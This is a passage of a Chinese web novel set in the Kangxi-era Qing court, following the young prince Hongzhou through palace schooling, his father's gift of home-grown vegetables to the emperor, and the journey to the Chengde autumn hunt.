被弘旷彻底无视的弘昼倒也不恼,笑呵呵地和四哥继续开始练习骑射了。强身健体的事情可不能落下,每日都锻炼才能看到成效。 弘旺望着这边,轻笑了一声。虽说弘旷这个蠢货让他有些无语,但瞧着这一幕感觉更加有动力了。这样好的兄弟,也不知会不会有反目成仇的时候。 弘时被拘在了家中,是不是也意味着四伯日后的世子人选肯定没有这位了。那弘昼和弘历,同是格格所生,两个额娘之间身份有些差距但并不算太大。弘昼当真没有肖想过世子之位吗,弘历又是不是已经将这个位置视作囊中之物了呢? 这个问题若是来问弘昼,那他只能无奈地耸耸肩表示,他还真没想过。从小额娘告诉的是要靠自己考封,而以弘昼自己的想法来看,若是要和四哥争这个位置的话,那他多半打不起精神。 当然,如果是和三哥争,那他肯定是愿意奋起拼一把的。毕竟弘昼对于三哥的观感很差,若能抢了他的位置,弘昼只会高兴。 散学的时候弘昼浑身流着汗水,感受着头顶太阳传来的火。辣辣的热度,只想要快些回去洗个澡。他并不排斥运动,但很讨厌运动完了之后身上黏黏腻腻的感觉,这种感觉很不舒服,但在夏天又完全无法避免。 想着明日就能回府休息两日,弘昼的心情更好了。 第二日回府的时候,享受着家中额娘的关心,还有能睡到第二天天亮的特权,弘昼觉得幸福极了。 但反应过来又有些心酸,什么时候能睡一个囫囵觉也能让自己感觉到幸福了。 时间就这样过了两个月,盛夏的炎热逐渐开始消散在紫禁城中,收获的季节也已经到来了。四爷春日在庄子里种下的菜,终于到了能吃的时候。 这些菜看上去与其余的菜并无什么太大的区别,甚至还不如那些极有经验的农人种出来的,但这是四爷亲自种的。他收获的那一日正好是弘昼他们休沐的日子,四爷难得将这两个儿子一起叫来陪着他用了一次膳,桌面上摆着的两碟子青菜就是他带着弘昼他们亲手种的。 厨房的人知道这是爷亲自种的菜,也是绞尽脑汁使出了浑身解数,只要求这菜需做得极好才行。 似乎是想起了自己春日里在庄子上锄地的辛劳,弘昼吃这个菜的时候觉得格外的清甜。虽然只是简单的小炒,但吃起来就是感觉和平日里的不一样,就是觉得要更好吃些,这米也是格外甜些。 四爷和弘历也是这个感觉,似乎是想起了当时种地时的汗水,一个个地将桌面上的一碟子青菜还有碗中的米饭都吃得干干净净的。 吃饱了的弘昼微微靠在椅子上,抚摸了一下自己吃得溜圆的肚子:“阿玛,咱们这回收获的菜多吗?” 四爷瞥了弘昼一眼,这眼神中蕴含的警告让弘昼立刻就直起了身子坐得端端正正的。 “不算多,给各院里分了点。”四爷淡淡说道,他给十三弟分了一半,毕竟十三弟几乎每个环节都来了。剩下的给各个院子分了点,主要就是福晋处和年侧福晋处,以及钮祜禄氏和耿氏的院子。 给两个格格分自然是因为这也算弘历和弘昼出力的,而给福晋则是四爷一贯拿到什么东西都是要给福晋分一份的。年侧福晋就不用说了,如今四爷在府中每个月几乎要去年侧福晋房中二十日,其余的时间不是在书房就是在福晋的院中,其余的格格们能一月有一两次就算得宠了。 “阿玛何不将这些菜与米送些给皇玛法?”在旁边一直安静的弘历突然出声。 四爷的眼神转向了弘历,他原本种菜是想要陶冶情操,也是想要内心清净的时候才去庄子干些农活,这能让他心中安静可以思考些东西。 又看向了桌上这些残羹冷炙,汗阿玛这些年收到阿哥们的孝敬不算少,老九甚至进献过价值连城的宝贝。但汗阿玛表现一直淡淡的,并不为这些宝贝的价值而动心。 若是价值连城的东西不能让汗阿玛在意,那这些亲手做的东西呢?这些代表儿子孝心,还是自己这个表面上已经寄情山水的儿子的心意。 这两年间,四爷也多多少少看出了自家这个阿玛对于皇子们结党争权的厌恶。现在他在朝堂上至少表面上是个寄情山水,并不大参与斗争的模样。和老八他们之间的斗争,他也多是在暗处,并不会很直接和他们对上。 因着几年前查办户部欠款的事情,他的能力已经摆在了康熙的面前,这几年间交给他的事情也都是办得很是妥当。如今已经在汗阿玛那里得了一个修身齐家俱全的考评,不论是对比老八还是老十四他在汗阿玛这里的印象都称得上是很不错了。 “你说得不错,”四爷笑了起来,“阿玛也是该将这些东西送一份给你们皇玛法,毕竟百善孝为先。” 弘昼在一旁看着阿玛和四哥对着笑,挠了挠自己的脑袋。 这些菜已经被摘下来了,便不能拖,打算做好了后四爷第二日就带着自己的收获进了宫。 听到外头老四求见,康熙笑道:“叫进来吧,是不是老四又得了好的文章来叫朕瞧瞧。” 这几年间,四爷交好了不少文人。但凡得了好的诗句文章,便会往乾清宫送一份,有时候也会亲自送。所以康熙在乾清宫见四爷的次数并不少,这也是八爷他们一直不相信他真的寄情山水的原因之一。 谁寄情山水之前会专门迎一个家世显赫的侧福晋进门,又是谁在寄情山水的时候和隆科多他们这样的重臣交好的。 倘若真是像五哥那样的,他们便真信了他无心朝堂了。 四爷进来后很是恭敬地行礼:“儿臣参见汗阿玛。” “老四起来吧,”康熙笑呵呵地说道,“你这是又看到了什么好文章要拿来给朕瞧瞧。” 四爷微微一愣,随即笑道:“今日倒不是因为这个,还请汗阿玛观一物。” “什么?”康熙有些疑惑。 随即四爷便将青菜和已经脱了壳的稻米呈了上去,恭恭敬敬说道:“这是孩儿今春在庄子自己种的菜和米,许是因为刚学着种,收成并不算多。但还是想将这些东西呈给汗阿玛瞧瞧,到底是孩儿自己种出来的。” 方才进宫的时候,四爷将东西往永和宫那里也送了些。他是不会在这样的地方落下话柄的,既然给汗阿玛送了,那肯定也会给额娘送。 康熙的脸色充满了惊奇,这还是他第一个去种菜的儿子。将老四呈上来的东西翻看了一下,见这青菜果然并不如他平时见的好看,但胜在水灵。这稻米并不算多,甚至有些壳儿还未全去掉,一看就知道是新手舂的。 “不错,”康熙赞道,“这是你的一片孝心,梁九功将这些送到御膳房去,朕今儿就要吃。正好老四也没什么事,中午就陪着朕一起用膳吧。” 梁九功笑呵呵应了,见皇上似乎心情不错也捧了一句:“咱们雍亲王的孝心朝野上下谁人不知。” 四爷自然不会不答应,留在乾清宫中用了一顿膳食。 走的时候,还捧走了康熙的不少赏赐,甚至在之后的几日康熙在众多大臣面前夸了四爷的一片孝心。这让听见的老九还有老十都很是不忿,觉得老四不过是有些歪门邪道的路子罢了。 当然,这些事情和在上书房念书的弘昼是没有太大的关系的。托一月只能回去一次的福,前朝的风云大部分暂时还传不到这些在上书房念书的孩子身上,他只是觉得弘旺似乎盯着自己和四哥的时间又多了些。 当然他是不怕的,只是不理解。有这个时间盯着他,还不如自己多休息一会呢。 上次弘旷出声后不仅没有让弘昼丢脸,反而让他自己丢了脸后他在上书房就变得闷声了。似乎是受到了家中几位兄长的警告,他最近奉行的是将弘昼当空气,和弘旺也走得远了点。 对此弘昼自然是求之不得,谁也不想整日里念书的时候旁边总有个乌眼鸡瞪着你。只要弘旷不主动来招惹他,他还是可以和这位仁兄和平共处的。 就这样的,在这种勉强平和的氛围中,弘昼在上书房念书的日子也跨过了四年。他和四哥的岁数也从原本六岁的小豆丁长成了即将十岁的小豆丁,这个年纪在弘昼的眼中也就是个孩子,放到现代是才上三四年级的小朋友呢。 但是这个年纪放在清朝已经不能彻底算小孩子了,弘昼甚至在额娘还有钮祜禄额娘口中听到了一句恐怖的话。 过几年都能娶福晋了,想到这个弘昼坚决地摇了摇头,他在十八岁成年之前是绝对不可能成婚的。 当然,这个话只是耿执羽和钮祜禄格格在闲谈中的戏话。对于弘昼来说,现在有一件很重要的事情摆在了他面前,那就是皇玛法要去热河围猎,这次阿玛终于松口可以带上他和四哥了! 第83章 承德避暑山庄 第83章 其实康熙出巡的机会并不少,特别是木兰秋狝几乎是一两年就要去一次。但之前弘昼的年纪都太小了,四爷也不敢将两个孩子带在身边。 毕竟跟着汗阿玛去木兰秋狝并不完全是玩,一路上舟车劳顿的,若是病了那怎么办?小孩子体弱,在未长成之前还是多待在家中才是。 但现在不一样,弘昼和弘历都即将满十岁。按道理来说已经是个半大小子了,这时候带上他们去见见世面也没什么,只要乖乖跟着听话就行了。 弘昼得知这个消息后兴奋得几乎睡不着,之前上书房中也有被带着去跟皇玛法出巡的人,他都看在了眼底,简直是爽翻了。跟着去的这一两个月甚至三四个月间不用念书了,而且可以天天骑马,上回有人回来可是整整黑了一圈,看着就知道外面是玩爽了。 不仅弘昼不淡定,弘历也有些兴奋,这也是他第一次跟着出去。从前他和弘昼最远也就跟着阿玛额娘去过京郊的庄子,再远就没去过了,这次一下子就能去热河简直兴奋得不行。 学了这么多年的骑射,总算是能用出来试试了。 自从得知了这个消息,弘昼便一直处在兴奋之中。上书房中的部分人也能跟着阿玛去木兰秋狝,但大多数的人还是得在上书房待着。毕竟康熙并未带上所有的皇子,就算带上的也有的并不准备带着儿子一起去。 “真好,”弘暾用着羡慕的目光看着弘昼和弘历,“这回我阿玛都不去,我自然更不可能去了。” 虽说他若开口求四伯的话,多半四伯是会答应的。但他阿玛肯定就不会答应了,毕竟阿玛自己都不去更不可能麻烦四伯带着他们这些孩子去。 想到这,弘暾羡慕得眼睛都要发绿了。每到夏天的时候谁不羡慕能跟着皇玛法去围猎的人,从前弘昼和弘历和他一样要被扔在上书房继续念书,今年却能跟着四伯一起去了。 弘晈也在旁边开口:“我也想去。” 弘晈今年八岁,进上书房已经两年了,他这个年纪的孩子最喜欢的就是到处去玩。现在听见还算熟悉的弘昼哥哥还有弘历哥哥能去,心里的羡慕简直止不住了。 弘旷瞥了一眼这边,暗暗皱了皱眉,压下了心中的羡慕。他阿玛九爷倒是能去,但他在阿玛面前并不受宠,这回阿玛带了大哥二哥还有弘鼎,并不准备带他。所以他听着弘昼他们聊起木兰秋狝的事,心里便有些泛酸。 但这两年他已经很少和弘昼在正面起冲突了,毕竟吃过两回亏后也懂得收敛了些。 弘曈从外面走进来听了一耳朵,略带炫耀说道:“我也能去呢,阿玛说了这回若是我能在围猎中拔得头筹,便送我一匹汗血宝马。” “就你?”弘暾上下打量了弘曈一下,不屑道,“你这小身板怎么比得了那些已经十三四岁的,听闻蒙古王公也会去,他们的孩子长得那样高大又生在草原日日都要用骑射,肯定比你厉害。” “你这就小瞧我了。”弘曈哼了一声有点不满,“不信咱俩比划比划,今儿下午骑射的时候来找我比试。” “比就比,难道我还怕你?” “你上回就输给我了,这回还要来自取其辱。” 听着这两人小学生一般的吵架,弘昼听得耳朵都炸了,用手捂住耳朵后无奈道:“先生可是马上就要过来了,你们还不快回去。” 听了这话,弘暾和弘曈之间的“战*争”才勉强停止,各自回到了自己的座位上。 入上书房念书已经三四年了,除却来的第一年康熙经常来考校皇孙们念书外,其余的日子两三个月能想起来一次就不错了。是以上书房如今的氛围早就没有最初时来的紧绷了,甚至弘昼现在都敢在早上的时候晚些过来。 毕竟寅时其实是用来复习和温习还有念书的,先生这个时候是不会来的,即便晚上一会儿只要不被发现问题也不大。这个晚一会儿从最开始的一刻钟变成了现在的半个时辰,弘昼几乎从未被先生抓到过。 现在上书房中这样干的人不少,甚至在上书房念书的三位皇子也是这样的操作,所以也没人敢打小报告。毕竟只要一打小报告,几乎就等于和上书房的绝大部分人对立,没谁有这个胆子。 当然了,遵守着上书房规矩的人同样不少。比如弘历,他就几乎一天不曾晚到过。 很快就到了去木兰秋狝的日子,弘昼和弘历被四爷提前两三天接回了家中。他们要吩咐下人带上需要带的东西,弘昼并没有去过自然也不知道该带些什么东西,还是福晋遣了两个人来帮着府上的这两位阿哥打包东西。 这回是府中这两个小阿哥第一次出远门,不仅福晋派了人过来帮衬,连年侧福晋那里都遣了人过来送了东西。而耿执羽和钮祜禄格格这两位额娘自不必说,早早就给他们备好了不少能用上的东西。 府中这几年间也发生了不少事,比如三哥弘时已经被解禁了,虽然四爷还是不大准他出门,但到底还是不用禁足在院子里了。并且已经娶了福晋,是大族董鄂氏之女,阿玛是尚书席尔达,家世可以说是相当不错了。 不过弘昼和弘历这些年几乎都待在宫中念书,和三哥碰不上,和三嫂也就逢年过节才能见面。毕竟三嫂多待在三哥的院中,走动也是去后院福晋还有李侧福晋处走动,和他们几乎都碰不上。 还有就是去年的时候年侧福晋生了一个小阿哥,不过刚生下来就体弱,长到半岁的时候去了。今年年初又被诊出来了喜脉,如今肚子已经五六个月大了,连去给福晋请安的活动都停了,只一门心思在西侧院安胎。 出发的那日,弘昼骑着已经长到了壮年的琥珀,跟在了阿玛的身侧。 康熙的仪仗声势浩大,队伍从东直门出发,连成了一条浩浩荡荡的人海。 最前面有八名侍卫手持长鞭开道,后面紧跟着的就是举着绣着龙纹旗的侍卫。接着便是列成队的骑兵,一个个挺拔的身子端坐在神俊的马儿之上,老远就能听见马蹄踏着地面的声音,压迫感十足。 康熙的金辇在最中间,被侍卫们牢牢护着。倘若是没有宣召的人,连五十米都不能靠近。 前方的骑兵和后面的八旗护军加起来,还不算带着的王公大臣们便已经占去了一两千人。这些人只是保护康熙安全的,另还有太监和奴婢以及运送各种东西的马车,和被带来的妃嫔。 这样算下来,队伍中几乎已经两三千人了。 弘昼还是第一次看到这样的阵仗,骑着马跟在队伍后面心里不停地刷屏着,长见识了。 虽说一直知道古代皇帝出行的时候仪仗都很庞大,但是知道归知道,亲眼见过还是格外的震撼的。 传闻红楼梦的作者曹雪芹他们家,当时就是接了康熙几次圣架才在户部欠下了那么多的款项。如今想来,光是出行就这样大的阵势,那接待这些出行的人又得花费多少巨资呢。 弘历在弘昼的身侧,眼底氤氲着别样的神采。同样是第一次见到这样的阵仗,弘昼是吃惊震撼,而弘历心中则燃起了一丝野望。 他对于阿玛所求的东西知道一些,也明白若是阿玛当真得偿所愿后,他的身份将会发生怎样翻天覆地的不同。今日这样的仪仗是皇玛法的,来日又焉知不能成为他的呢? 这样想着,弘历的脸上渐渐挂上了一丝笑。三哥那样蠢笨甚至不能让他将之视为对手,而身侧的弟弟现在脸上还挂着略显有些傻气的震撼。 他了解弘昼,并不是什么权欲心旺盛的人。倘若当真有那日,他和弘昼一定会是比阿玛和13叔还要好的兄弟。 出了京城后,看着京郊的树木,弘昼深深吸了口气。随后便被扬起来的尘土糊了一脸,强烈地咳嗽了起来。 “咳咳咳咳咳……” 这个声音吸引了弘历还有四爷的注意力,转过头来看着弘昼问道。 “这是怎么了?” 弘昼一边咳嗽一边答道:“咳咳,不要紧,被呛了一下。” 这前方是骑兵,还有康熙的仪仗,后方又跟着许多马车,扬起来的尘土让这一片的空气质量都下降了一点儿。 弘昼之前从未想过原来骑马出行竟然是这个感受,这感觉一点儿也不好。特别是这几日未曾下雨,地上的泥土又被太阳晒得干干的,马蹄一过便有许多扬尘。 四爷一下子就看出了关窍,眼里闪过一丝笑意。这才是第一日呢,倘若这点尘土都受不了了,那后面几日的骑行恐怕是要遭大罪。 像弘昼和弘历这样不曾长年累月在马上骑行的孩子,第一次长途骑行人和腿都会受不了。大腿一直在马鞍上磨着,这一天下来连走路都走不利索。 四爷当年第一次跟着康熙出行的时候,也是受过这个罪的。所以他还带了两辆马车出来,专门用来坐人的那种。 到时候若这俩小子受不住了,便去马车上坐一会儿。 不过坐马车的都是女眷,也不知道他们能不能拉下这个脸。 莫约中午的时候就到了顺义,康熙并不愿沿途打扰百姓的正常生活。便令就地驻扎,开始生火做饭。 内务府早就将沿途的一切打点好了,今年去不去围猎是年初的时候就已经决定好了。如果要去的话,内务府便会从年初就开始预备东西。 今日的终点牛栏山行宫,康熙从年轻的时候便喜欢去热河一带接见蒙古的王公大臣和围猎。这一路上都已经修好了沿途停住的行宫,终点的承德避暑山庄更是在康熙四十七年时才初建成。 中午的饭食自然是一切从简,弘昼和弘历这里两碟子的小菜配一碗饭罢了。 四爷早在金辇停下来的时候就被招去伴架了,不与他们兄弟二人一起吃。 近两年间,康熙召见四爷的频率逐渐上升。在四爷已经称得上是兄弟们中被康熙最为看重的人了,之前勉强还有十四爷争锋,自从两年前十四爷被派到青海后,京中便无人可与他争锋了。 弘昼骑了这么久的马早就饿了,即便是这样简单的饭式吃起来也是津津有味的。就这样露天的支起了一两张桌子吃饭,和野餐有什么区别? 康熙的饭食则是早就已经派人在附近做好了,力求能让皇上一停下来便能吃上新鲜出炉的饭菜。 吃完饭后,弘昼伸了个懒腰,打算在这附近转转。康熙现在毕竟年纪已经大了,他多年前就已经开始注重养生。 刚刚吃完饭,队伍是绝对不会行进的。 弘历注意到了弘昼的动作,只是嘱咐了一句:“在附近走一走就是了,千万别跑远了。差不多时候了就回来,别到时候让我去找阿玛派人寻觅。” “知道啦,四哥。”弘昼不曾转身,只是将手在头上挥了挥,表示自己知道了。 牛顺义附近也没什么好玩的,这里是京郊,虽然没有荒郊野岭的荒凉,但同样的也热闹不到哪去。 随行的侍卫们此时也在吃饭,看见弘昼的打扮就明白这位爷的出生,自然也不会对他多加阻拦。 在附近转了一圈后,弘昼没趣儿的回去了。这真没什么好玩的,这一圈全都是停下来吃饭的侍卫扈从,一个外人也不曾见过。 当然了,这里若是被放进来外人,那可能就要掉一片的脑袋了。 未时启程,顺义去牛栏山行宫需要两三个时辰,早些启程才能在天黑之前到。 弘昼骑在马上,已经感觉到自己的大腿开始酸疼了。马鞍的材质很硬,磨在大腿的感觉真的很不好受。 骑马的时间短一点也就罢了,这骑马的时间一长,便能很清楚地感受到自己腿的不适。 牛栏山行宫住不下这么多的随行侍卫还有宫女太监。便在刚到的时候就开始安营扎寨,有资格进行宫的能分到一个院子住着,没资格进去的则在外面住帐篷。 弘昼还有弘历跟着四爷,以四爷现在的身份地位很自然的分到了一个院子。要是带了女眷出来,弘昼和弘历也只能出去住帐篷了,但四爷外出几乎从不曾带后院的女子,所以他们也能在牛栏山行宫里分到一间房。 当然这个房间的摆设布置肯定是比不上他们平日里自己住的,但在现在能有片瓦遮身已经很不错了。 睡前的时候,四爷遣了苏培盛过来给弘昼和弘历各送了一瓶药。这是让他们抹在大腿处的,若是今天没有抹的话,明日起来多半连路都走不了了。 弘昼很听话地将药膏抹在了自己的大腿处,但第二天清晨起来的时候还是感觉到了腿部的不适,走路都有点一瘸一拐的。 用过早饭后,弘昼有点儿惆怅的看着琥珀。他现在不大想骑马了,从前肯定想不到还有不想骑马的一天。 骑马不仅一直在吃灰,还会让腿变得酸疼。 但现在不是他想不想骑的问题,是他只能骑马去。想着后面还有八九天的路程,弘昼只觉得眼前一黑。 弘历也是差不多的姿势,他的大腿也很难受,但他不会轻易抱怨出来,只是默默忍着。唯有走路时不自然的姿势能看出一二。 四爷将这一切都看在眼里,第三日的时候终于大发慈悲的和弘昼还有弘历说了后面还有一辆马车可以让他们坐上去的事情。 弘昼几乎是立刻放弃了自己的琥珀,奔向了那辆代表着舒适的马车。而弘历则是倔强了一上午,才上了马车。 毕竟在他心中是只有女眷才会坐马车的,坐上去多少有些怕堂兄弟笑话。 而坐上马车之后,弘昼才发现马车舒适简直是个笑话。 以现在的路来说,即便是官道也称不上有多平坦。更别提马车的轮子是用木做的,没有橡胶减震了。他坐在上面,只觉得自己魂魄都要被抖出来了。 所以坐了一天马车后,感受到自己腿有点缓解后,弘昼便毅然决然地又骑上了琥珀。 然后在下午的时候,又被迫回到了马车上。 腿实在是太疼了呜呜呜。 最后弘昼摸索出了自己的一套规律,他一般上午骑马,因为那时候太阳还不烈。然后下午的时候上马车休息,一直休息到明天上午再骑马。 这样就能保证他的腿不会太疼,脑子也不会彻底被马车颠晕。 就这样过了七八天,弘昼都能明显的感觉到自己的大腿开始长茧子了,骑马的时候终于没了最开始的那股不适。 同时,队伍也到了承德避暑山庄,也就是举行木兰秋狝的位置。 第84章 散步 这么多年来,康熙经常来到木兰秋狝举行围猎。不仅是沿途的行宫,承德的避暑山庄也修建得极为壮丽辉煌。 避暑山庄最中心的地方自然是给康熙以及带过来的嫔妃入住的,但旁边还有一个位置,被人们戏称阿哥所,是专门用来给康熙的诸位皇子所住的。 毕竟康熙出巡,身边总是会带着好几个成年的皇子。特别是像木兰秋狝这样的活动,除去几个要留在京城的皇子外,其余岁数差不多的都带着来了。 弘昼和弘历自然还是跟着阿玛一起住,住的是四爷从前来便一直住的院子。虽说四爷并没有带女眷过来,但还是带了几位嬷嬷侍女的。 这些能被主子专门带出门的,都是干活十分麻利,心灵手巧的人。 当弘昼带着一身的疲惫来到自己暂住的院子时,能看见里面被收拾得井井有条。 行宫里面有值守的宫女太监,但他们一般也只会简单洒扫一下卫生。毕竟行宫这么大,但是留守的宫女和太监却并不大多,主要还要顾及皇上和后宫嫔妃们居住的地方,这些阿哥们所住的地方只要能简单干净了。 弘昼和弘历可以回到行宫中休息,但是四爷却不行,他要随着康熙去接见前来拜见的蒙古王公。 蒙古王公大臣按照爵位的高低被分配到了较远的行宫或者驿站。他们是提前了好几日就到了的,毕竟要提前在这里等着恩赫阿木古朗汗的召见。 总不能叫恩赫阿木古朗汗到了之后等他们吧,虽说蒙古人脾性中带着爽朗和大气,但毕竟不是缺心眼儿,这么点儿规矩也还是懂的。 承德避暑山庄建得很是豪华,但这里兴建土木之后便不是适合打猎的地方了。 打猎的位置在距离承德避暑山庄三十里的地方,等过两日后康熙便率领随行的人以及前来拜见的蒙古王公大臣,一起过去安营扎寨。 在行宫的床上躺了一天后,弘昼才觉得自己又重新活了回来。 这也没人告诉他骑马久了之后原来是这样的感受,骑到最后两天的时候,他无比地怀念在尚书房只需要好好念书,偶尔骑马射箭的日子。 但现在到了这里,弘昼便将骑马过来时候吃的苦都抛到了脑后。兴致勃勃地就想拉着四哥一起出去看看,还从未见过草原这样的地方呢。 看到弘昼兴奋地找过来的身影,弘历面露一丝诧异之色:“这才休息了一天,你身上便好全了?” 他怎么记得昨天弘昼从马上下来时那一副要死不活的样子,口中一直在说要躺上三天才能恢复过来。现在这才休息了一日,便迫不及待地想要出去野了。 弘昼嬉皮笑脸地走到了四哥的身前:“我一想到咱们进来时看到那些草原,便忍不住想要出去跑一会儿马了。” “不疼了?”弘历的眼神往弘昼身上扫去,“前几日骑马还叫得那般大声。” “这不一样,”弘昼理直气壮,“咱们那时候是在赶路,现在是去玩儿,这怎么能一样?” “都是骑在马上,哪里不一样?” “总之就是不一样,”弘昼斜睨着四哥问道:“你就说你去不去就行了。” “去去去,”弘历无奈应声,“不过咱们能不能去要先给阿玛禀报一声,若是能去阿玛自然会派护卫,随着我们一同出去。” 这次来的人多,另外还有许多蒙古的王公大臣前来。这要是遇上一两个不讲理地带着扈从,他们身边要是没带人岂不是要吃大亏。 再者弘历也明白自家阿玛现在的处境,他们能不能出去玩倒不要紧,主要是不能在这些地方受之与人把柄。 “成啊!”弘昼一口就应下了,他不觉得阿玛不会答应让自己出去玩玩。 弘历遣了个人去山庄中询问四爷,然后便拉着弘昼坐了下来喝口茶慢慢等。 他们所住的这个阿哥所虽说名义上是在承德避暑山庄的旁边,但承德避暑山庄占地极大,便是从山庄内的东边走到西边都要花费不少的时间。更别提他们派人进承德山庄,问过了四爷再回来了。 这细算算,倘若能在一个时辰内回来,便算那人的动作麻溜了。 此时的四爷正跟着康熙接见前来拜见的蒙古王公。这次康熙带来的皇子不算少,但能一直随侍他左右的只有四爷 今年初,是康熙六十年。像这样能在位六十年,可以称得上是前无古人了。 也是从这时候开始,康熙经常将四爷带在身边,不论是朝会办事,还是宣召大臣四爷几乎一直跟在康熙的身侧。 这个信号已经将康熙对于继任者的选择,很明显的袒露在众人面前了。 特别是四五月时,康熙病了一场,那两月间,甚至都不让四爷回雍亲王府了。 但是八爷他们还是不大愿意直接俯首,已经传信给远在青海的十四爷,他们这个党派中唯一能和四爷竞争的人,想叫他请旨回京。虽然心中清楚即便是十四回京多半也已经无力回天,但若是一点挣扎都不做,他又实在不甘心。 等弘历派过去的人到了康熙暂居的住所,托了个小太监进去给苏培盛递了个话。不多时,苏培盛就从里头走了出来,见到这个小太监便上前询问。 “四阿哥和五阿哥命小人前来,”那小太监对苏培盛很是恭敬,毕竟这可是跟在雍亲王身边的红人,“说是两位阿哥想要去外边草原转转,过来询问爷的意思。” 苏培盛将脑袋轻轻点了一下,表示自己知道了,随即便进殿禀报。 此时殿内一屋子的蒙古王公,他们被各自赐座,正是在举办宴饮。 苏培盛悄悄回到四爷身边后,低声将这件事说了。 四爷沉吟片刻后微微点了点头:“叫他们去玩一会儿便罢了,不要在外头贪玩。还有要带好侍卫,不要去得太远。” 这两个孩子在京城的时候念书刻苦,出来的时候玩玩倒是也没什么。四爷嘱咐了他们要将侍卫带好,也是怕老八他们直接狗急跳墙了。 毕竟现在明眼人都能看出来,那个被拘在府中的三阿哥多半是不得他这个阿玛喜欢的。而这两位在上书房出过大风头的孩子其中一个必然是他日后的继承人,在这样的情况下,四爷也不敢不小心。 苏培盛应了一声,小心走出殿外后对着那个小太监嘱咐了一句。 那小太监得到消息后,便往回赶,两位小阿哥还等着他回去报信儿呢。 弘昼在四哥的屋子里喝了一个时辰的茶水了,百无聊赖地用手撑着下巴。 也不知道这承德避暑山庄建得有多大,怎么去了这么久还没回来。 又过了一刻钟,小太监总算回来了。将方才苏培盛与他说过的话复述了一遍,弘昼眼睛一下子就亮了。 “我就说阿玛肯定会同意的吧。”弘昼看着弘历得意洋洋地扬了一下下巴。 “若是再不走,咱们出去可就跑不了多久了。”弘历只是望了望天说道。 弘昼如梦初醒,拉着四哥便往外走。他们方才在这里等的时候,就已经吩咐了侍卫待命,现在只要吩咐一句就能马上外出。 草原那个风光果然和京城里的大不一样,特别是京城的夏日极为炎热,在草原骑马的时候却只能感受到风吹过来时习习的凉意。 弘昼深呼吸了一下,感受着青草带来独特的芳香。 侍卫在不远不近的地方跟着,天空之下不只有微风吹来的声音,还有脚下的马蹄声。这种寂静和在宫廷里的寂静完全不同,深夜的宫廷也是极为安静的,特别是弘昼他们起床去上书房的时候,那时候的宫廷似乎只有尚书房这一处是热闹的。 那种寂静似乎带了些别样的意味,总是不自觉地让人感觉到窒息。 而草原上的寂静则是让人感觉到安心,似乎在这里什么都不用想,什么都不用思考,心便慢慢静了下来。 骑了一会儿马,弘昼便有些腻了,翻身下马,想在草原上面走一走。 草原的草很是旺盛,有些都快有他们小腿高了。在这里一边牵着马,一边散步,让弘昼的心情很是不错。 不仅是弘昼,很明显的弘历的心情也变好了不少。来之前心情也不算差,但是现在可以称得上是心情极好了。 看了看天色,弘昼扭头对着四哥说道:“咱们回去吧,若是再晚些便要赶不上晚膳了。” 弘历微微点了点头表示赞同,阿玛随侍皇玛法没错,但用过晚膳后说不定会回来。要是那时候看见他们兄弟俩没有回去的话,说不定这次木兰秋狝便不能再自己随意走动了。 正准备上马往回奔的时候,却听见了后面跟着的侍卫处传来了响动。 弘昼和弘历的眼神都被吸引了过去,随手招了一个人过来询问道:“这是怎么了?” 四爷统领镶白旗,雍亲王府上的侍卫都是从镶白旗中挑选的武艺很是不错的八旗子弟。都称得上是四爷能信任的人,这些人多少也知道些雍亲王府中的事情,自然对弘昼还有弘历这两位阿哥十分恭敬。 那过来的侍卫很是恭敬答道:“回五阿哥的话,是有位姑娘似乎骑的马不受控了。咱们兄弟都在拦着她,别让她过来冲撞了两位阿哥。” “不受控是什么意思?”弘昼一惊,顺着侍卫的手指望过去,果然看见一个看不清脸的女孩骑在了一匹马上,被颠得抱住了马的脖子。 第85章 狩猎 “这马疯了?”弘昼目瞪口呆地看着这一幕,拉了拉旁边四哥的袖子,“咱们是不是要命人射马?” 看着这姑娘的装束,应当不是跟来的侍女,有可能是哪位王公大臣家中的女儿。只是不知道是京城跟来的,还是蒙古的王公大臣带来的。 “不成,”弘历还没说话,旁边的侍卫便反驳了这个提议,“倘若现在射马,让马受惊了会更疯狂,到时候这位姑娘会更危险。” “那应该如何?”弘昼的眼神看向了侍卫。 侍卫缓声道:“只能在马的前面拉绳,让它减速。倘若这马儿已经疯得看不见地上的绳,绊倒了虽会让这位姑娘摔上一跤,但并无生命危险。” 其实还有其他的方法,若是骑术精湛多年骑马的老手。是可以自己慢慢让马儿平静下来的,但是这位姑娘眼看着还不到十岁的样子,肯定是到不了老手的年纪了。 “那就按你说的做。”弘历出声。 这件事若是没有放到他们俩跟前来,那也就不必纠结或者忧虑了。但是既然在他的面前出现了,多少还是要救人一命。 但是令人意想不到的事情发生了,侍卫们正拿着绳子准备绊倒这匹马。但是那骑在马上的姑娘似乎冷静了下来,只见她紧握着缰绳,身体重心压低,似乎在马的耳边一直说着什么。 原本在疯狂跳跃的马,在她的引导之下,肉眼可见地平静了下来。 弘昼看得目瞪口呆,刚刚这马的样子看着像是疯了一下,这一下子就冷静下来了?他自问应该是做不到的,他在马上能保持平静就已经很不错了。 侍卫们拿着绳子,动作都停了下来,眼看着这位似乎是能自己驯服这匹马。那他们就不要轻举妄动了,否则说不定就是添乱。 又过了一会儿,这马儿彻底平静了下来。那位姑娘也看到了这边,犹豫了片刻,驾着马儿过来,下马对着弘昼还有弘历行了一礼。 她刚刚在马上也是看清楚了的,这两位似乎是准备命令手下的人救她。 “臣女吴札库氏,多谢方才出手相助。”那姑娘下马后,行礼的动作落落大方,整个人的姿态中透露着爽朗大气的感觉。 这明显是一个很标准的满洲姑娘,弓马娴熟,性格爽朗。 弘昼笑了笑正准备答话,他们也没帮上忙。就见又有几人骑着马朝着这边奔了过来,看打扮应该是侍女和侍卫。直直往这边奔过来,多半是来找这位姑娘的。 果然,侍女和侍卫一下了马,就将那位姑娘上上下下都看了一遍,才稍微松了口气。见这里似乎有外人,将口中的抱怨暂且压在了心底。 格格怎么能自己骑着马就跑出来了,这草原上多野兽,倘若真遇见了,可又该如何是好。 侍卫上前自报家门,原来是副都统伍什家中的格格。又感谢了一番,行礼过后便带着那位格格走了。那位格格在这些侍女侍卫前来后表现得乖乖的,似乎也知道自己犯错了,若是光看表面还真以为是个乖巧的姑娘。 满洲大姓对家中女孩管教大多数并没有太严苛,跟着皇上围猎这样的事情都能带出来的话,应该是家中很受宠的姑娘。 像这样家中受宠的姑娘,不论是上街游玩还是去郊外打马射箭都是较为平常的事情。从前四爷还不算太忙的时候,甚至亲自教过怀恪骑马和射箭。 这来去匆匆的样子,让弘历和弘昼对视一眼后笑了出来。 